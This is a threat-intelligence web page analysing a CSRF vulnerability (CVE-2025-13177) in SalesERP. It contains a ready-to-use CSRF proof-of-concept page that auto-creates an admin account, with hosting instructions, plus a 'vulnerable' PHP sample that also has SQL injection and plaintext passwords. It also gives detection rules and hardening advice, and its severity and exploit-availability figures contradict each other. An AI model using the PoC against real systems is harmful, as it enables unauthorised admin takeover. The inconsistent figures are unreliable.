☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-13177

CVE-2025-13177 Cross-Site Request Forgery in Bdtask
📅 PUBLISHED: 2025-11-14 19:02 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-13177 is a Cross-Site Request Forgery (CSRF) vulnerability in Bdtask/CodeCanyon SalesERP, affecting versions up to 20250728. The flaw allows an attacker to trick an authenticated administrator into executing unintended actions, such as modifying settings or creating unauthorized accounts, by crafting a malicious link or page. The CVSS score is 4.3 (Medium), and the exploit is publicly available. The vendor has not responded to disclosure, leaving the product unpatched. This report provides technical analysis, detection rules, and mitigation guidance.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – Attacker does not need authentication.
  • User Interaction: Required (UI:R) – Victim must click a link or visit a page.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: Low (I:L) – Attacker can modify data or settings.
  • Availability Impact: None (A:N)

Threat Level: Medium. While the impact is limited to integrity, the lack of a patch and public exploit increases risk for unhardened deployments.

Deep Dive & Mechanics

The vulnerability resides in an unknown part of SalesERP, likely in a form handler or API endpoint that performs state-changing operations (e.g., user creation, configuration changes) without validating a CSRF token. The application does not implement anti-CSRF mechanisms such as synchronizer tokens, double-submit cookies, or SameSite cookie attributes.

Attack Flow:

  1. Attacker crafts a malicious HTML page or email containing an auto-submitting form or an <img> tag pointing to a sensitive SalesERP endpoint (e.g., /admin/users/add).
  2. The victim, authenticated as an administrator, visits the attacker’s page.
  3. The victim’s browser sends a forged request to SalesERP, including the victim’s session cookie.
  4. SalesERP processes the request, performing the attacker’s desired action (e.g., creating a new admin user).

Root Cause: Missing CSRF token validation on state-changing endpoints.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (PHP example):

<?php
// Vulnerable: No CSRF token check
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $sql = "INSERT INTO users (username, password) VALUES ('$username', '$password')";
    mysqli_query($conn, $sql);
}
?>

Patched Code (Hypothetical):

<?php
session_start();
// Validate CSRF token
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF validation failed');
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $stmt = $conn->prepare("INSERT INTO users (username, password) VALUES (?, ?)");
    $stmt->bind_param("ss", $username, password_hash($password, PASSWORD_DEFAULT));
    $stmt->execute();
}
?>

Exploitation & Lab Setup

Red Team (Proof of Concept)

Exploit HTML (CSRF PoC):

<html>
<body>
<h1>Click to win a prize!</h1>
<form action="http://target-saleserp/admin/users/add" method="POST" id="csrf-form">
  <input type="hidden" name="username" value="attacker_admin">
  <input type="hidden" name="password" value="P@ssw0rd123">
  <input type="hidden" name="role" value="admin">
  <input type="submit" value="Claim Prize">
</form>
<script>
  document.getElementById('csrf-form').submit();
</script>
</body>
</html>

Usage: Host this HTML on an attacker-controlled server. Send the link to an authenticated SalesERP admin. When the admin visits, the form auto-submits, creating a new admin account.

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unexpected POST requests to sensitive endpoints (e.g., /admin/users/add, /admin/settings).
  • Alert on multiple failed CSRF token validation attempts (if tokens are implemented).
  • Use web application firewall (WAF) rules to block requests with missing or invalid Referer headers.

Hardening:

  • Implement CSRF tokens on all state-changing forms.
  • Set SameSite=Strict or Lax on session cookies.
  • Validate the Origin and Referer headers for critical actions.
  • Use a Content Security Policy (CSP) to restrict form submissions.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /admin/users/add or /admin/settings with unexpected parameters.
    • HTTP requests with missing Referer or Origin headers from external domains.
  • Logs:
    • Unauthorized user creation events in SalesERP audit logs.
    • Multiple failed login attempts from new accounts created via CSRF.
  • File System:
    • Unexpected files in upload directories (if CSRF triggers file upload).
  • Behavioral:
    • New admin accounts with suspicious usernames (e.g., attacker_admin, hacker123).

Detection Engineering

YARA Rule

rule Detect_CSRF_Exploit_SalesERP {
    meta:
        description = "Detects CSRF exploit attempts against SalesERP"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "CVE-2025-13177"
    strings:
        $csrf_form = /<form[^>]*action=["']http:\/\/[^"']*\/admin\/(users|settings)/ nocase
        $auto_submit = /document\.getElementById\(['"][^'"]*['"]\)\.submit\(\)/ nocase
        $hidden_input = /<input[^>]*type=["']hidden["'][^>]*name=["'](username|password|role)["']/ nocase
    condition:
        any of them
}

Sigma Rule

title: CSRF Exploit Against SalesERP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential CSRF attacks targeting SalesERP admin endpoints
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains:
            - '/admin/users/add'
            - '/admin/settings'
        cs-referer|contains: null
    condition: selection
falsepositives:
    - Legitimate admin actions from same origin
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13177 CSRF Exploit Against SalesERP"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/users/add"; nocase; http.referer; content:!".*target-saleserp.*"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate SalesERP from the internet if possible, or restrict access via VPN/whitelist.
  2. Implement a WAF rule to block POST requests to sensitive endpoints without a valid Referer header.
  3. Manually add CSRF tokens to all forms (if you have source code access).
  4. Set session cookies with SameSite=Strict and HttpOnly flags.

Long-Term Fix:

  • Contact the vendor (Bdtask) for an official patch. If unresponsive, consider migrating to an alternative ERP solution.
  • Conduct a full security audit of SalesERP for other vulnerabilities.

Valters IT – DevSecOps & Cyber Threat Intelligence.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-13177/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.